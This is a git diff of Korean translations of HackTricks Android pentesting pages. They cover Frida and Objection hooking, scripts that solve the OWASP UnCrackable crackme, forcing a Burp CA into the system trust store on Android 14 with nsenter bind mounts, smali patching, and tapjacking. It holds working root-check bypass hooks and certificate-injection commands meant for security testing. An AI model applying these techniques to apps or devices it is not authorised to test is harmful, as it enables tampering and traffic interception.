#### 함수의 불리언 반환 값 변경
소스 코드를 보면 _checkPin_ 함수가 _String_을 인수로 받고 _boolean_을 반환하는 것을 알 수 있습니다. 함수를 **항상 true를 반환하도록** 만들어 보겠습니다:
소스 코드를 보면 함수 _checkPin_이 _String_을 인수로 받고 _boolean_을 반환하는 것을 알 수 있습니다. 함수를 **항상 true를 반환하도록** 만들어 보겠습니다:
![](<../../../images/image (883).png>)
@ -173,7 +169,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
### 클래스 인스턴스
특정 Java 클래스의 **실시간 인스턴스**를 검색하고 인쇄합니다. 이는 완전한 클래스 이름으로 지정됩니다. 발견된 objection에 대한 문자열 값을 얻으려는 시도의 결과로, 일반적으로 **객체의 속성 값을 포함**합니다.
특정 Java 클래스의 **실시간 인스턴스**를 검색하고 인쇄합니다. 이는 완전한 클래스 이름으로 지정됩니다. 발견된 objection에 대한 문자열 값을 얻으려는 시도의 결과는 일반적으로 **객체의 속성 값을 포함합니다**.
```
android heap print_instances <class>
```
@ -204,7 +200,7 @@ memory list modules
![](<../../../images/image (1097).png>)
frida가 무엇을 내보내는지 확인해 봅시다:
frida가 무엇을 내보내고 있는지 확인해 봅시다:
![](<../../../images/image (298).png>)
@ -225,14 +221,10 @@ exit
```
## Objection에서 내가 놓치는 것들
- 후킹 방법이 가끔 애플리케이션을 충돌시킵니다 (이것은 Frida 때문이기도 합니다).
- 후킹 방법이 때때로 애플리케이션을 충돌시킵니다 (이것은 Frida 때문이기도 합니다).
- 클래스의 인스턴스를 사용하여 인스턴스의 함수를 호출할 수 없습니다. 그리고 클래스의 새로운 인스턴스를 생성하고 이를 사용하여 함수를 호출할 수 없습니다.
- 애플리케이션에서 사용되는 모든 일반적인 암호화 방법을 후킹하여 암호화된 텍스트, 평문, 키, IV 및 사용된 알고리즘을 볼 수 있는 단축키(sslpinning과 같은)가 없습니다.
<img src="../../../images/i3.png" alt="" data-size="original">
**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼인 **Intigriti**에 **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,22 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
---
**이 게시물의 요약**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**이 포스트의 요약**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
## Solution 1
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)을 기반으로 합니다.
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)에 기반
**\_exit()**\_ 함수를 후킹하고 **복호화 함수**를 사용하여 verify를 누를 때 플래그를 frida 콘솔에 출력하세요:
**\_exit()**\_ 함수를 후킹하고 **decrypt function**을 사용하여 verify를 누를 때 frida 콘솔에 플래그를 출력하도록 하세요:
```javascript
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...")
@ -60,7 +55,7 @@ send("Hooks installed.")
Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
**루트 체크를 후킹**하고 decrypt 함수를 수정하여 verify를 누를 때 frida 콘솔에 플래그를 출력하게 하세요:
**루트 체크를 후킹**하고 함수의 암호를 해독하여 verify를 누를 때 frida 콘솔에 플래그를 출력합니다:
```javascript
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...")
@ -120,10 +115,4 @@ return false
send("Hooks installed.")
})
```
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **가입하세요** **Intigriti**에, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 가상 머신에서
@ -32,35 +29,35 @@ adb reboot #Now, reboot the machine
## Magisc 사용하기
장치를 **Magisc로 루팅한 경우** (아마도 에뮬레이터일 수 있음) 이전 **단계를 따라할 수 없다면** Burp 인증서를 설치하기 위해 **파일 시스템이 읽기 전용**이고 이를 쓰기 가능으로 다시 마운트할 수 없는 경우, 다른 방법이 있습니다.
장치를 **Magisc로 루팅한 경우** (아마도 에뮬레이터일 수 있음) 이전 **단계를 따라할 수 없다면** Burp 인증서를 설치하기 위해 **파일 시스템이 읽기 전용**이고 쓰기 가능으로 다시 마운트할 수 없는 경우, 다른 방법이 있습니다.
[**이 비디오**](https://www.youtube.com/watch?v=qQicUW0svB8)에서 설명된 대로 다음을 수행해야 합니다:
1. **CA 인증서 설치**: DER Burp 인증서를 **드래그 앤 드롭**하여 모바일에서 **확장자를** `.crt`로 변경하여 Downloads 폴더에 저장하고 `Install a certificate` -> `CA certificate`로 이동합니다.
1. **CA 인증서 설치**: DER Burp 인증서를 **드래그 앤 드롭**하여 모바일에서 **확장자를** `.crt`로 변경하여 다운로드 폴더에 저장하고 `인증서 설치` -> `CA 인증서`로 이동합니다.
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
- `Trusted credentials` -> `USER`로 이동하여 인증서가 올바르게 저장되었는지 확인합니다.
- `신뢰할 수 있는 자격 증명` -> `사용자`로 이동하여 인증서가 올바르게 저장되었는지 확인합니다.
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **시스템 신뢰로 만들기**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (zip 파일)를 다운로드하고, **드래그 앤 드롭**하여 전화기에 넣고, 전화기의 **Magics 앱**에서 **`Modules`** 섹션으로 이동하여 **`Install from storage`**를 클릭하고, `.zip` 모듈을 선택한 후 설치가 완료되면 **재부팅**합니다:
2. **시스템 신뢰로 만들기**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (zip 파일)를 다운로드하고, **드래그 앤 드롭**하여 전화기에 넣고, 전화기의 **Magics 앱**에서 **`모듈`** 섹션으로 이동하여 **`저장소에서 설치`**를 클릭하고, `.zip` 모듈을 선택한 후 설치가 완료되면 **재부팅**합니다:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- 재부팅 후 `Trusted credentials` -> `SYSTEM`으로 이동하여 Postswigger 인증서가 있는지 확인합니다.
- 재부팅 후 `신뢰할 수 있는 자격 증명` -> `시스템`으로 이동하여 Postswigger 인증서가 있는지 확인합니다.
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
## Android 14 이후
최신 Android 14 릴리스에서는 시스템 신뢰 CA 인증서 처리 방식에 중대한 변화가 관찰되었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 저장되어 루트 권한을 가진 사용자가 접근하고 수정할 수 있었으며, 이를 통해 시스템 전반에 즉시 적용할 수 있었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동하였으며, 이는 본질적으로 변경 불가능한 디렉토리입니다.
최신 Android 14 릴리스에서는 시스템 신뢰 CA 인증서 처리 방식에 중대한 변화가 관찰되었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 저장되어 루트 권한을 가진 사용자가 접근하고 수정할 수 있었으며, 이를 통해 시스템 전반에 즉시 적용할 수 있었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동하였으며, 이는 본질적으로 변경 불가능한 **`/apex`** 경로 내의 디렉토리입니다.
**APEX cacerts 경로**를 쓰기 가능으로 다시 마운트하려는 시도는 실패로 돌아가며, 시스템은 이러한 작업을 허용하지 않습니다. 임시 파일 시스템(tmpfs)으로 디렉토리를 언마운트하거나 오버레이하려는 시도조차 불변성을 우회하지 못하며, 애플리케이션은 파일 시스템 수준의 변경과 관계없이 원래 인증서 데이터에 계속 접근합니다. 이러한 회복력은 **`/apex`** 마운트가 PRIVATE 전파로 구성되어 있어 **`/apex`** 디렉토리 내의 수정이 다른 프로세스에 영향을 미치지 않도록 보장합니다.
Android 초기화는 `init` 프로세스를 포함하며, 운영 체제를 시작할 때 Zygote 프로세스도 시작됩니다. 이 프로세스는 새로운 마운트 네임스페이스를 포함하여 애플리케이션 프로세스를 시작하는 역할을 하며, 여기에는 개인 **`/apex`** 마운트가 포함되어 있어 이 디렉토리의 변경 사항이 다른 프로세스와 격리됩니다.
그럼에도 불구하고 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우를 위한 우회 방법이 존재합니다. 이는 PRIVATE 전파를 제거하기 위해 **`/apex`**를 수동으로 다시 마운트하여 쓰기 가능하게 만드는 것을 포함합니다. 이 과정은 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, 읽기 전용 제약을 제거하기 위해 **`/apex/com.android.conscrypt`** 디렉토리를 언마운트한 후, 내용을 원래 위치인 **`/apex`**로 복원하는 것을 포함합니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치를 요구합니다. 이러한 변경 사항이 시스템 전반에 적용되도록 하려면 `system_server`를 재시작하는 것이 좋으며, 이는 모든 애플리케이션을 효과적으로 재시작하고 시스템을 일관된 상태로 만듭니다.
그럼에도 불구하고 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우 우회 방법이 존재합니다. 이는 PRIVATE 전파를 제거하기 위해 **`/apex`**를 수동으로 다시 마운트하여 쓰기 가능하게 만드는 것입니다. 이 과정에는 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, 읽기 전용 제약을 제거하기 위해 **`/apex/com.android.conscrypt`** 디렉토리를 언마운트한 후, 내용을 원래 위치인 **`/apex`**로 복원하는 것이 포함됩니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치를 요구합니다. 이러한 변경 사항이 시스템 전반에 적용되도록 하려면 `system_server`를 재시작하는 것이 좋으며, 이는 모든 애플리케이션을 효과적으로 재시작하고 시스템을 일관된 상태로 만듭니다.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -131,7 +128,7 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/securi
```
이것은 시작되는 모든 새로운 앱이 업데이트된 CA 인증서 설정을 준수하도록 보장합니다.
4. **실행 중인 앱에 변경 사항 적용**: 이미 실행 중인 애플리케이션에 변경 사항을 적용하기 위해, `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가 유사한 바인드 마운트를 수행합니다. 필요한 명령은:
4. **실행 중인 앱에 변경 사항 적용**: 이미 실행 중인 애플리케이션에 변경 사항을 적용하기 위해, `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가 유사한 바인드 마운트를 수행합니다. 필요한 명령은:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
@ -141,8 +138,5 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,32 +2,26 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
8kSec 아카데미와 함께 **모바일 보안**에 대한 전문성을 심화하세요. 자율 학습 과정을 통해 iOS 및 Android 보안을 마스터하고 인증을 받으세요:
{% embed url="https://academy.8ksec.io/" %}
**자세한 정보는 다음을 확인하세요:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Android 앱은 성능이 중요한 작업을 위해 일반적으로 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있습니다. 악성코드 제작자들도 이러한 라이브러리를 사용하며, DEX 바이트코드보다 리버스 엔지니어링이 더 어렵습니다. 이 섹션은 어셈블리 언어를 가르치는 대신 Android에 맞춘 리버스 엔지니어링 기술을 강조합니다. 호환성을 위해 ARM 및 x86 버전의 라이브러리가 제공됩니다.
안드로이드 앱은 성능이 중요한 작업을 위해 일반적으로 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있습니다. 악성코드 제작자들도 이러한 라이브러리를 사용하며, 이는 DEX 바이트코드보다 리버스 엔지니어링이 더 어렵습니다. 이 섹션은 어셈블리 언어를 가르치는 대신 안드로이드에 맞춘 리버스 엔지니어링 기술을 강조합니다. 호환성을 위해 ARM 및 x86 버전의 라이브러리가 제공됩니다.
### 주요 사항:
- **Android 앱의 네이티브 라이브러리:**
- **안드로이드 앱의 네이티브 라이브러리:**
- 성능 집약적인 작업에 사용됩니다.
- C 또는 C++로 작성되어 리버스 엔지니어링이 어렵습니다.
- Linux 바이너리와 유사한 `.so` (공유 객체) 형식으로 발견됩니다.
- 악성코드 제작자는 분석을 어렵게 기 위해 네이티브 코드를 선호합니다.
- **Java 네이티브 인터페이스 (JNI) 및 Android NDK:**
- JNI는 Java 메서드를 네이티브 코드로 구현할 수 있게 합니다.
- NDK는 네이티브 코드를 작성하기 위한 Android 전용 도구 세트입니다.
- JNI와 NDK는 Java(또는 Kotlin) 코드를 네이티브 라이브러리와 연결합니다.
- 리눅스 바이너리와 유사한 `.so` (공유 객체) 형식으로 발견됩니다.
- 악성코드 제작자는 분석을 어렵게 만들기 위해 네이티브 코드를 선호합니다.
- **자바 네이티브 인터페이스 (JNI) 및 안드로이드 NDK:**
- JNI는 자바 메서드를 네이티브 코드로 구현할 수 있게 합니다.
- NDK는 네이티브 코드를 작성하기 위한 안드로이드 전용 도구 세트입니다.
- JNI와 NDK는 자바(또는 코틀린) 코드와 네이티브 라이브러리를 연결합니다.
- **라이브러리 로딩 및 실행:**
- 라이브러리는 `System.loadLibrary` 또는 `System.load`를 사용하여 메모리에 로드됩니다.
- 라이브러리 로딩 시 JNI_OnLoad가 실행됩니다.
- Java에서 선언된 네이티브 메서드는 네이티브 함수에 연결되어 실행을 가능하게 합니다.
- **Java 메서드를 네이티브 함수에 연결하기:**
- 자바에서 선언된 네이티브 메서드는 네이티브 함수에 연결되어 실행을 가능하게 합니다.
- **자바 메서드를 네이티브 함수에 연결하기:**
- **동적 링크:** 네이티브 라이브러리의 함수 이름이 특정 패턴과 일치하여 자동 링크를 허용합니다.
- **정적 링크:** `RegisterNatives`를 사용하여 링크하며, 함수 이름 및 구조에 유연성을 제공합니다.
- **리버스 엔지니어링 도구 및 기술:**
@ -42,15 +36,9 @@ Android 앱은 성능이 중요한 작업을 위해 일반적으로 C 또는 C++
- Azeria Labs의 [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)를 추천합니다.
- **JNI 및 NDK 문서:**
- [Oracle의 JNI 사양](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
- [Android의 JNI 팁](https://developer.android.com/training/articles/perf-jni)
- [안드로이드의 JNI 팁](https://developer.android.com/training/articles/perf-jni)
- [NDK 시작하기](https://developer.android.com/ndk/guides/)
- **네이티브 라이브러리 디버깅:**
- [JEB 디컴파일러를 사용하여 Android 네이티브 라이브러리 디버깅하기](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
8kSec 아카데미와 함께 **모바일 보안**에 대한 전문성을 심화하세요. 자율 학습 과정을 통해 iOS 및 Android 보안을 마스터하고 인증을 받으세요:
{% embed url="https://academy.8ksec.io/" %}
- [JEB 디컴파일러를 사용하여 안드로이드 네이티브 라이브러리 디버깅하기](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**모바일 보안**에 대한 전문성을 심화하세요. 8kSec 아카데미와 함께 iOS 및 Android 보안을 마스터하고 자율 학습 과정을 통해 인증을 받으세요:
{% embed url="https://academy.8ksec.io/" %}
때때로 숨겨진 정보를 접근하기 위해 애플리케이션 코드를 수정하는 것이 흥미로울 수 있습니다(아마도 잘 난독화된 비밀번호나 플래그). 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.
때때로 숨겨진 정보를 접근하기 위해 애플리케이션 코드를 수정하는 것이 흥미로울 수 있습니다(아마도 잘 난독화된 비밀번호나 플래그). 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.
**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
@ -16,28 +10,28 @@
**Visual Studio Code**와 [APKLab](https://github.com/APKLab/APKLab) 확장을 사용하면 **자동으로 디컴파일**, 수정, **재컴파일**, 서명 및 애플리케이션을 설치할 수 있습니다. 어떤 명령도 실행할 필요가 없습니다.
또한 이 작업을 많이 용이하게 하는 **스크립트**는 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)입니다.
이 작업을 많이 용이하게 하는 또 다른 **스크립트**는 [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)입니다.
## Decompile the APK
APKTool을 사용하면 **smali 코드 리소스**에 접근할 수 있습니다:
APKTool을 사용하면 **smali 코드 리소스**에 접근할 수 있습니다:
```bash
apktool d APP.apk
```
If **apktool**에서 오류가 발생하면, [**최신 버전**](https://ibotpeaches.github.io/Apktool/install/)을 설치해 보세요.
만약 **apktool**이 오류를 발생시킨다면, [**최신 버전**](https://ibotpeaches.github.io/Apktool/install/)을 설치해 보세요.
**확인해야 할 흥미로운 파일은**:
당신이 **살펴봐야 할 흥미로운 파일들**은 다음과 같습니다:
- _res/values/strings.xml_ (및 res/values/* 내의 모든 xml)
- _AndroidManifest.xml_
- 확장자가 _.sqlite_ 또는 _.db_인 모든 파일
`apktool`**애플리케이션을 디코딩하는 데 문제가 있다면**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)를 확인하거나 **`-r`** 인수를 사용해 보세요 (리소스를 디코딩하지 않음). 그런 다음, 문제가 리소스에 있었고 소스 코드에 없었다면, 문제는 발생하지 않을 것입니다 (리소스도 디컴파일되지 않습니다).
만약 `apktool`**애플리케이션을 디코딩하는 데 문제가 있다면**, [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files)를 확인하거나 **`-r`** (리소스를 디코딩하지 않음) 인수를 사용해 보세요. 그러면 문제가 리소스에 있었고 소스 코드에는 없었다면, 문제를 겪지 않을 것입니다 (리소스도 디컴파일하지 않습니다).
## Smali 코드 변경
**명령어를 변경**하거나, 일부 변수의 **값을 변경**하거나, **새 명령어를 추가**할 수 있습니다. 저는 [**VS Code**](https://code.visualstudio.com)를 사용하여 Smali 코드를 변경하며, **smalise 확장 프로그램**을 설치하면 편집기가 **명령어가 잘못되었는지** 알려줍니다.\
여기에서 **예제**를 찾을 수 있습니다:
당신은 **명령어를 변경**하거나, 일부 변수의 **값을 변경**하거나, **새로운 명령어를 추가**할 수 있습니다. 저는 [**VS Code**](https://code.visualstudio.com)를 사용하여 Smali 코드를 변경하며, 그 후 **smalise 확장**을 설치하면 편집기가 어떤 **명령어가 잘못되었는지** 알려줍니다.\
일부 **예제**는 여기에서 찾을 수 있습니다:
- [Smali 변경 예제](smali-changes.md)
- [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
@ -50,13 +44,13 @@ If **apktool**에서 오류가 발생하면, [**최신 버전**](https://ibotpea
```bash
apktool b . #In the folder generated when you decompiled the application
```
로운 APK는 _**dist**_ 폴더 **내부**에서 **컴파일**됩니다.
새 APK는 _**dist**_ 폴더 **내부**에서 **컴파일**됩니다.
만약 **apktool**이 **오류**를 발생시키면, [**최신 버전**](https://ibotpeaches.github.io/Apktool/install/)을 설치해 보세요.
### **새로운 APK 서명하기**
### **새 APK 서명하기**
그 다음, **키를 생성**해야 합니다(비밀번호와 무작위로 입력할 수 있는 몇 가지 정보가 요청됩니다):
다음, **키를 생성**해야 합니다(비밀번호와 무작위로 입력할 수 있는 몇 가지 정보가 요청됩니다):
```bash
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
```
@ -73,7 +67,7 @@ zipalign -v 4 infile.apk
```
### **새 APK 서명하기 (다시?)**
만약 **apksigner**를 사용하고 싶다면, **zipalign으로 최적화를 적용한 후 apk를 서명해야 합니다**. 하지만 **jarsigner로 애플리케이션을 한 번만 서명해야 한다는 점에 유의하세요** (zipalign 이전) 또는 **aspsigner로 서명해야 합니다** (zipalign 이후).
**apksigner**를 사용하고 싶다면 [**apksigner**](https://developer.android.com/studio/command-line/) 대신 jarsigner를 사용하세요. **zipalign으로 최적화를 적용한 후 apk를 서명해야 합니다.** 하지만 **jarsigner로 애플리케이션을 한 번만 서명해야 한다는 점에 유의하세요** (zipalign 이전) 또는 aspsigner로 (zipalign 이후).
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
@ -148,14 +142,14 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
- 함수 내에서 선언된 변수를 사용할 경우 (선언된 v0, v1, v2...) 이 줄들을 _.local \<number>_와 변수 선언(_const v0, 0x1_) 사이에 넣으세요.
- 함수 코드 중간에 로깅 코드를 넣고 싶다면:
- 선언된 변수의 수에 2를 추가하세요: 예: _.locals 10_에서 _.locals 12_로.
- 새로운 변수는 이미 선언된 변수의 다음 숫자가 되어야 합니다 (이 예에서는 _v10_과 _v11_이 되어야 하며, v0에서 시작한다는 것을 기억하세요).
- 로깅 함수의 코드를 변경하고 _v10_과 _v11_을 _v5_와 _v1_ 대신 사용하세요.
- 새로운 변수는 이미 선언된 변수의 다음 숫자여야 합니다 (이 예에서는 _v10_과 _v11_이어야 하며, v0에서 시작한다는 것을 기억하세요).
- 로깅 함수의 코드를 변경하고 _v5_와 _v1_ 대신 _v10_과 _v11_을 사용하세요.
### 토스트
함수 시작 부분에서 _.locals_의 수에 3을 추가하는 것을 잊지 마세요.
이 코드는 **함수의 중간에** 삽입되도록 준비되었습니다 (**변수의** **숫자**는 필요에 따라 **변경**하세요). 이 코드는 **this.o**의 **값**을 가져와 **String**으로 **변환**한 다음 **그 값으로** **토스트**를 만듭니다.
이 코드는 **함수의 중간에** 삽입되도록 준비되었습니다 (**변수의** **숫자**는 필요에 따라 **변경**하세요). 이 코드는 **this.o**의 **값**을 가져와 **String**으로 **변환**한 다음 **그 값으로** **토스트**를 **만들** 것입니다.
```bash
const/4 v10, 0x1
const/4 v11, 0x1
@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**모바일 보안**에 대한 전문성을 심화하세요. 8kSec 아카데미와 함께 iOS 및 Android 보안을 마스터하고 자격증을 취득하세요:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **기본 정보**
**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\
@ -13,13 +9,13 @@
### 탐지
이 공격에 취약한 앱을 탐지하기 위해서는 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다 (intent-filter가 있는 활동은 기본적으로 자동으로 내보내집니다). 내보낸 활동을 찾은 후, **권한이 필요한지 확인하십시오**. 이는 **악의적인 애플리케이션도 해당 권한이 필요하기 때문입니다**.
이 공격에 취약한 앱을 탐지하기 위해서는 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다 (인텐트 필터가 있는 활동은 기본적으로 자동으로 내보내집니다). 내보낸 활동을 찾으면, **권한이 필요한지 확인하십시오**. 이는 **악의적인 애플리케이션도 해당 권한이 필요하기 때문입니다**.
### 보호
#### Android 12 (API 31,32) 및 그 이상
[**이 출처에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking 공격은 Android 12 (API 31 & 30) 및 그 이상에서 자동으로 방지됩니다. 따라서 애플리케이션이 취약하더라도 **악용할 수 없습니다**.
[**이 출처에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking 공격은 Android 12 (API 31 & 30) 및 그 이상에서 Android에 의해 자동으로 방지됩니다. 따라서 애플리케이션이 취약하더라도 **악용할 수 없습니다**.
#### `filterTouchesWhenObscured`
@ -27,7 +23,7 @@
#### **`setFilterTouchesWhenObscured`**
**`setFilterTouchesWhenObscured`** 속성이 true로 설정되면 안드로이드 버전이 낮더라도 이 취약점의 악용을 방지할 수 있습니다.\
**`setFilterTouchesWhenObscured`** 속성이 true로 설정되면 Android 버전이 낮더라도 이 취약점의 악용을 방지할 수 있습니다.\
예를 들어, **`true`**로 설정하면 버튼이 **가려질 경우 자동으로 비활성화**될 수 있습니다:
```xml
<Button android:text="Button"
@ -41,29 +37,26 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
가장 **최근의 Android 애플리케이션**으로 Tapjacking 공격을 수행하는 애플리케이션(공격받는 애플리케이션의 내보낸 활동 이전에 호출됨)은 다음에서 찾을 수 있습니다: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
가장 **최근의 Android 애플리케이션**으로 Tapjacking 공격을 수행하는 애플리케이션(+ 공격받는 애플리케이션의 내보낸 활동을 호출하기 전)을 찾을 수 있습니다: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
**README 지침에 따라 사용하세요**.
**사용을 위한 README 지침을 따르세요**.
### FloatingWindowApp
**FloatingWindowApp**을 구현한 예제 프로젝트는 클릭재킹 공격을 수행하기 위해 다른 활동 위에 올릴 수 있는 프로젝트로, [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)에서 찾을 수 있습니다(조금 오래된 프로젝트로, apk 빌드에 행운을 빕니다).
**FloatingWindowApp**을 구현한 예제 프로젝트는 클릭재킹 공격을 수행하기 위해 다른 활동 위에 올릴 수 있는 프로젝트로, [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)에서 찾을 수 있습니다 (조금 오래된 프로젝트로, apk 빌드에 행운을 빕니다).
### Qark
> [!CAUTION]
> 이 프로젝트는 현재 유지 관리되지 않는 것 같으며 이 기능이 제대로 작동하지 않습니다.
> 이 프로젝트는 현재 유지 관리되지 않는 것 같으며 이 기능이 더 이상 제대로 작동하지 않습니다.
`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 매개변수와 함께 [**qark**](https://github.com/linkedin/qark)를 사용하여 가능한 **Tapjacking** 취약점을 테스트하기 위한 악성 애플리케이션을 생성할 수 있습니다.\
`--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 매개변수를 사용하여 [**qark**](https://github.com/linkedin/qark)를 사용하여 가능한 **Tapjacking** 취약점을 테스트하기 위한 악성 애플리케이션을 생성할 수 있습니다.\
완화 방법은 상대적으로 간단합니다. 개발자는 다른 뷰에 의해 가려질 때 터치 이벤트를 수신하지 않도록 선택할 수 있습니다. [Android 개발자 참조](https://developer.android.com/reference/android/view/View#security)를 사용하여:
